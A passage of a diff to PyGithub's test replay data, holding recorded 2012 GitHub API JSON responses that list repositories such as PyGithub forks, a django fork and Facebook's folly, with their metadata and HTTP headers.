deadlines.","private":false,"id":4164482,"created_at":"2012-04-28T02:47:18Z"},{"open_issues":0,"has_issues":false,"ssh_url":"git@github.com:jacquev6/django.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","login":"jacquev6","id":327146},"language":"Python","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z","forks":0,"has_downloads":true,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","git_url":"git://github.com/jacquev6/django.git","permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"forks_count":0,"homepage":"http://www.djangoproject.com/","clone_url":"https://github.com/jacquev6/django.git","watchers_count":2,"size":48476,"fork":true,"html_url":"https://github.com/jacquev6/django","has_wiki":false,"name":"django","url":"https://api.github.com/repos/jacquev6/django","watchers":2,"open_issues_count":0,"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","private":false,"id":4166730,"created_at":"2012-04-28T11:06:20Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:gturri/moviePlanning.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ba064e32f068e12bfc87d178179878a5","url":"https://api.github.com/users/gturri","login":"gturri","id":308601},"language":"Python","svn_url":"https://github.com/gturri/moviePlanning","pushed_at":"2012-06-28T08:29:46Z","forks":1,"has_downloads":true,"updated_at":"2012-06-28T08:29:47Z","full_name":"gturri/moviePlanning","git_url":"git://github.com/gturri/moviePlanning.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":null,"clone_url":"https://github.com/gturri/moviePlanning.git","watchers_count":2,"size":340,"fork":false,"html_url":"https://github.com/gturri/moviePlanning","has_wiki":true,"name":"moviePlanning","url":"https://api.github.com/repos/gturri/moviePlanning","watchers":2,"open_issues_count":0,"description":"","private":false,"id":4461403,"created_at":"2012-05-27T11:16:53Z"},{"open_issues":2,"has_issues":true,"ssh_url":"git@github.com:facebook/folly.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/193c1a93276f729041fc875cf2a20773?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"193c1a93276f729041fc875cf2a20773","url":"https://api.github.com/users/facebook","login":"facebook","id":69631},"language":"C++","svn_url":"https://github.com/facebook/folly","pushed_at":"2012-08-26T18:14:39Z","forks":370,"has_downloads":true,"updated_at":"2012-09-07T22:17:59Z","full_name":"facebook/folly","git_url":"git://github.com/facebook/folly.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":370,"homepage":"https://groups.google.com/forum/?fromgroups#!forum/facebook-folly","clone_url":"https://github.com/facebook/folly.git","watchers_count":2419,"size":376,"fork":false,"html_url":"https://github.com/facebook/folly","has_wiki":true,"name":"folly","url":"https://api.github.com/repos/facebook/folly","watchers":2419,"open_issues_count":2,"description":"Folly is an open-source C++ library developed and used at Facebook.","private":false,"id":4524181,"created_at":"2012-06-01T20:49:04Z"}] - diff --git a/tests/ReplayData/NamedUser.testGetSubscriptions.txt b/tests/ReplayData/NamedUser.testGetSubscriptions.txt index 82ee98e658..534ac23050 100644 --- a/tests/ReplayData/NamedUser.testGetSubscriptions.txt +++ b/tests/ReplayData/NamedUser.testGetSubscriptions.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4954'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '35676'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:16:45 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"400673f9e225530be2f6795b43862773"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 07 Sep 2012 23:49:10 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Vincent's Development Environment","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/ViDE.git","git_url":"git://github.com/jacquev6/ViDE.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1496,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-08T11:05:51Z","full_name":"jacquev6/ViDE","name":"ViDE","url":"https://api.github.com/repos/jacquev6/ViDE","mirror_url":null,"ssh_url":"git@github.com:jacquev6/ViDE.git","html_url":"https://github.com/jacquev6/ViDE","private":false,"id":767343,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/ViDE","pushed_at":"2012-06-08T11:05:51Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","created_at":"2012-08-07T03:23:22Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T02:32:15Z","full_name":"jacquev6/Boost.HierarchicalEnum","name":"Boost.HierarchicalEnum","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","mirror_url":null,"ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","private":false,"id":767382,"language":"C++","homepage":"","svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","pushed_at":"2011-11-27T14:00:23Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/QuadProgMm.git","git_url":"git://github.com/jacquev6/QuadProgMm.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:39:06Z","full_name":"jacquev6/QuadProgMm","name":"QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","mirror_url":null,"ssh_url":"git@github.com:jacquev6/QuadProgMm.git","html_url":"https://github.com/jacquev6/QuadProgMm","private":false,"id":767386,"language":"C++","homepage":"http://vincent-jacques.net/QuadProgMm","svn_url":"https://github.com/jacquev6/QuadProgMm","pushed_at":"2012-04-16T18:39:05Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawSyntax.git","git_url":"git://github.com/jacquev6/DrawSyntax.git","created_at":"2012-08-07T03:23:17Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1760,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-08-11T03:53:58Z","full_name":"jacquev6/DrawSyntax","name":"DrawSyntax","url":"https://api.github.com/repos/jacquev6/DrawSyntax","mirror_url":null,"ssh_url":"git@github.com:jacquev6/DrawSyntax.git","html_url":"https://github.com/jacquev6/DrawSyntax","private":false,"id":767392,"language":"C++","homepage":"http://vincent-jacques.net/DrawSyntax/","svn_url":"https://github.com/jacquev6/DrawSyntax","pushed_at":"2011-11-27T14:00:32Z"},{"master_branch":"master","forks":1,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"A tool to draw Turk's Head Knots. Try it online","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","git_url":"git://github.com/jacquev6/DrawTurksHead.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":3232,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-04-16T18:38:55Z","full_name":"jacquev6/DrawTurksHead","name":"DrawTurksHead","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","mirror_url":null,"ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","html_url":"https://github.com/jacquev6/DrawTurksHead","private":false,"id":767403,"language":"C++","homepage":"http://vincent-jacques.net/DrawTurksHead/","svn_url":"https://github.com/jacquev6/DrawTurksHead","pushed_at":"2012-04-16T18:38:54Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/PrivateStuff.git","git_url":"git://github.com/jacquev6/PrivateStuff.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":1252,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T19:22:17Z","full_name":"jacquev6/PrivateStuff","name":"PrivateStuff","url":"https://api.github.com/repos/jacquev6/PrivateStuff","mirror_url":null,"ssh_url":"git@github.com:jacquev6/PrivateStuff.git","html_url":"https://github.com/jacquev6/PrivateStuff","private":true,"id":1592290,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/PrivateStuff","pushed_at":"2012-09-07T19:21:59Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":164,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-06-30T09:29:07Z","full_name":"jacquev6/vincent-jacques.net","name":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","mirror_url":null,"ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","html_url":"https://github.com/jacquev6/vincent-jacques.net","private":true,"id":1986874,"language":"Python","homepage":"vincent-jacques.net","svn_url":"https://github.com/jacquev6/vincent-jacques.net","pushed_at":"2012-06-30T09:29:07Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/Hacking.git","git_url":"git://github.com/jacquev6/Hacking.git","created_at":"2012-08-07T03:23:13Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":148,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-09-07T20:42:54Z","full_name":"jacquev6/Hacking","name":"Hacking","url":"https://api.github.com/repos/jacquev6/Hacking","mirror_url":null,"ssh_url":"git@github.com:jacquev6/Hacking.git","html_url":"https://github.com/jacquev6/Hacking","private":true,"id":1988081,"language":"Python","homepage":"","svn_url":"https://github.com/jacquev6/Hacking","pushed_at":"2012-09-07T20:42:54Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Caesar IV: anticipate your city","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/C4Planner.git","git_url":"git://github.com/jacquev6/C4Planner.git","created_at":"2012-08-07T03:23:20Z","has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":4716,"fork":false,"open_issues":0,"has_issues":false,"updated_at":"2012-07-27T04:29:14Z","full_name":"jacquev6/C4Planner","name":"C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","mirror_url":null,"ssh_url":"git@github.com:jacquev6/C4Planner.git","html_url":"https://github.com/jacquev6/C4Planner","private":false,"id":2260441,"language":"Python","homepage":"http://vincent-jacques.net/C4Planner","svn_url":"https://github.com/jacquev6/C4Planner","pushed_at":"2011-11-27T20:51:06Z"},{"forks":0,"has_downloads":false,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/developer.github.com.git","git_url":"git://github.com/jacquev6/developer.github.com.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":0,"size":184,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-05T11:35:40Z","full_name":"jacquev6/developer.github.com","name":"developer.github.com","url":"https://api.github.com/repos/jacquev6/developer.github.com","mirror_url":null,"ssh_url":"git@github.com:jacquev6/developer.github.com.git","html_url":"https://github.com/jacquev6/developer.github.com","private":false,"id":3361136,"language":"Ruby","homepage":"","svn_url":"https://github.com/jacquev6/developer.github.com","pushed_at":"2012-06-05T11:35:40Z"},{"forks":16,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":true,"admin":true},"forks_count":16,"clone_url":"https://github.com/jacquev6/PyGithub.git","git_url":"git://github.com/jacquev6/PyGithub.git","created_at":null,"has_wiki":false,"watchers_count":67,"watchers":67,"open_issues_count":13,"size":228,"fork":false,"open_issues":13,"has_issues":true,"updated_at":"2012-09-07T23:16:45Z","full_name":"jacquev6/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"ssh_url":"git@github.com:jacquev6/PyGithub.git","html_url":"https://github.com/jacquev6/PyGithub","private":false,"id":3544490,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/jacquev6/PyGithub","pushed_at":"2012-09-07T23:16:45Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b2e096f2c016d8dc168a3a5e6281b07a","login":"abersager","avatar_url":"https://secure.gravatar.com/avatar/b2e096f2c016d8dc168a3a5e6281b07a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/abersager","id":1328351},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/abersager/PyGithub.git","git_url":"git://github.com/abersager/PyGithub.git","created_at":"2012-08-07T03:21:09Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:19Z","full_name":"abersager/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/abersager/PyGithub","mirror_url":null,"ssh_url":"git@github.com:abersager/PyGithub.git","html_url":"https://github.com/abersager/PyGithub","private":false,"id":3831162,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/abersager/PyGithub","pushed_at":"2012-03-26T10:05:31Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"The Web framework for perfectionists with deadlines. Now on GitHub.","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/django.git","git_url":"git://github.com/jacquev6/django.git","created_at":null,"has_wiki":false,"watchers_count":2,"watchers":2,"open_issues_count":0,"size":48476,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-06-09T10:37:50Z","full_name":"jacquev6/django","name":"django","url":"https://api.github.com/repos/jacquev6/django","mirror_url":null,"ssh_url":"git@github.com:jacquev6/django.git","html_url":"https://github.com/jacquev6/django","private":false,"id":4166730,"language":"Python","homepage":"http://www.djangoproject.com/","svn_url":"https://github.com/jacquev6/django","pushed_at":"2012-04-28T04:05:15Z"},{"forks":1,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"Un outil pour ceux qui aiment voir plusieurs films le même jour","permissions":{"pull":true,"push":true,"admin":true},"forks_count":1,"clone_url":"https://github.com/jacquev6/CinePlanning.git","git_url":"git://github.com/jacquev6/CinePlanning.git","created_at":"2012-08-07T03:23:19Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":5,"size":240,"fork":false,"open_issues":5,"has_issues":true,"updated_at":"2012-06-17T05:55:59Z","full_name":"jacquev6/CinePlanning","name":"CinePlanning","url":"https://api.github.com/repos/jacquev6/CinePlanning","mirror_url":null,"ssh_url":"git@github.com:jacquev6/CinePlanning.git","html_url":"https://github.com/jacquev6/CinePlanning","private":false,"id":4627544,"language":"Python","homepage":"http://vincent-jacques.net/CinePlanning","svn_url":"https://github.com/jacquev6/CinePlanning","pushed_at":"2012-06-17T05:55:58Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"3aa27c0add742f542848af3b8a9e980c","login":"pmuilu","avatar_url":"https://secure.gravatar.com/avatar/3aa27c0add742f542848af3b8a9e980c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/pmuilu","id":691799},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/pmuilu/PyGithub.git","git_url":"git://github.com/pmuilu/PyGithub.git","created_at":"2012-08-07T03:21:41Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:44Z","full_name":"pmuilu/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/pmuilu/PyGithub","mirror_url":null,"ssh_url":"git@github.com:pmuilu/PyGithub.git","html_url":"https://github.com/pmuilu/PyGithub","private":false,"id":4716322,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/pmuilu/PyGithub","pushed_at":"2012-06-19T16:50:37Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"85203b21c562062e5641f0b8d4b98d9b","login":"herlo","avatar_url":"https://secure.gravatar.com/avatar/85203b21c562062e5641f0b8d4b98d9b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/herlo","id":89334},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/herlo/PyGithub.git","git_url":"git://github.com/herlo/PyGithub.git","created_at":"2012-08-07T03:21:47Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":164,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:47Z","full_name":"herlo/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/herlo/PyGithub","mirror_url":null,"ssh_url":"git@github.com:herlo/PyGithub.git","html_url":"https://github.com/herlo/PyGithub","private":false,"id":4720987,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/herlo/PyGithub","pushed_at":"2012-06-13T10:57:26Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"3ceac58506711008b9e93ad31fcb0f45","login":"roverdotcom","avatar_url":"https://secure.gravatar.com/avatar/3ceac58506711008b9e93ad31fcb0f45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","url":"https://api.github.com/users/roverdotcom","id":1463288},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/roverdotcom/PyGithub.git","git_url":"git://github.com/roverdotcom/PyGithub.git","created_at":"2012-08-07T03:21:50Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":116,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:51Z","full_name":"roverdotcom/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/roverdotcom/PyGithub","mirror_url":null,"ssh_url":"git@github.com:roverdotcom/PyGithub.git","html_url":"https://github.com/roverdotcom/PyGithub","private":false,"id":4785693,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/roverdotcom/PyGithub","pushed_at":"2012-06-25T18:44:19Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","id":327146},"description":"HTML5 browsable IP map inspired by http://xkcd.com/195/","permissions":{"pull":true,"push":true,"admin":true},"forks_count":0,"clone_url":"https://github.com/jacquev6/IpMap.git","git_url":"git://github.com/jacquev6/IpMap.git","created_at":null,"has_wiki":false,"watchers_count":0,"watchers":0,"open_issues_count":2,"size":136,"fork":false,"open_issues":2,"has_issues":true,"updated_at":"2012-08-06T20:40:59Z","full_name":"jacquev6/IpMap","name":"IpMap","url":"https://api.github.com/repos/jacquev6/IpMap","mirror_url":null,"ssh_url":"git@github.com:jacquev6/IpMap.git","html_url":"https://github.com/jacquev6/IpMap","private":true,"id":4835930,"language":"JavaScript","homepage":"http://vincent-jacques.net/IpMap","svn_url":"https://github.com/jacquev6/IpMap","pushed_at":"2012-06-30T09:28:28Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"433a7fa3917a38691aa9914b61444875","login":"thouis","avatar_url":"https://secure.gravatar.com/avatar/433a7fa3917a38691aa9914b61444875?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/thouis","id":473043},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/thouis/PyGithub.git","git_url":"git://github.com/thouis/PyGithub.git","created_at":"2012-08-07T03:21:53Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:54Z","full_name":"thouis/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/thouis/PyGithub","mirror_url":null,"ssh_url":"git@github.com:thouis/PyGithub.git","html_url":"https://github.com/thouis/PyGithub","private":false,"id":4957672,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/thouis/PyGithub","pushed_at":"2012-07-09T12:42:19Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"13a30f9924fa2bd918cbb8d06dd8b55a","login":"malexw","avatar_url":"https://secure.gravatar.com/avatar/13a30f9924fa2bd918cbb8d06dd8b55a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/malexw","id":577322},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/malexw/PyGithub.git","git_url":"git://github.com/malexw/PyGithub.git","created_at":"2012-08-07T03:21:56Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":112,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:21:57Z","full_name":"malexw/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/malexw/PyGithub","mirror_url":null,"ssh_url":"git@github.com:malexw/PyGithub.git","html_url":"https://github.com/malexw/PyGithub","private":false,"id":4992915,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/malexw/PyGithub","pushed_at":"2012-07-11T18:11:24Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"37a932b3abe212892173784736ed6b12","login":"engie","avatar_url":"https://secure.gravatar.com/avatar/37a932b3abe212892173784736ed6b12?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/engie","id":1247},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/engie/PyGithub.git","git_url":"git://github.com/engie/PyGithub.git","created_at":"2012-08-07T03:21:59Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":136,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:00Z","full_name":"engie/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/engie/PyGithub","mirror_url":null,"ssh_url":"git@github.com:engie/PyGithub.git","html_url":"https://github.com/engie/PyGithub","private":false,"id":5153069,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/engie/PyGithub","pushed_at":"2012-07-23T16:42:58Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"ffcbd195c843b902fcdaa9986a2a0116","login":"oangeor","avatar_url":"https://secure.gravatar.com/avatar/ffcbd195c843b902fcdaa9986a2a0116?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/oangeor","id":1707945},"description":"Python library implementing the full Github API v3","permissions":{"pull":true,"push":false,"admin":false},"forks_count":0,"clone_url":"https://github.com/oangeor/PyGithub.git","git_url":"git://github.com/oangeor/PyGithub.git","created_at":"2012-08-07T03:22:03Z","has_wiki":false,"watchers_count":1,"watchers":1,"open_issues_count":0,"size":1292,"fork":true,"open_issues":0,"has_issues":false,"updated_at":"2012-08-06T20:22:04Z","full_name":"oangeor/PyGithub","name":"PyGithub","url":"https://api.github.com/repos/oangeor/PyGithub","mirror_url":null,"ssh_url":"git@github.com:oangeor/PyGithub.git","html_url":"https://github.com/oangeor/PyGithub","private":false,"id":5190054,"language":"Python","homepage":"http://vincent-jacques.net/PyGithub","svn_url":"https://github.com/oangeor/PyGithub","pushed_at":"2012-07-24T16:19:13Z"},{"forks":0,"has_downloads":true,"owner":{"gravatar_id":"a62c07aeefe3d9cc2ba18861f7eeef7d","login":"alejo8591","avatar_url":"https://secure.gravatar.com/avatar/a62c07aeefe3d9cc2ba18861f7eeef7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/alej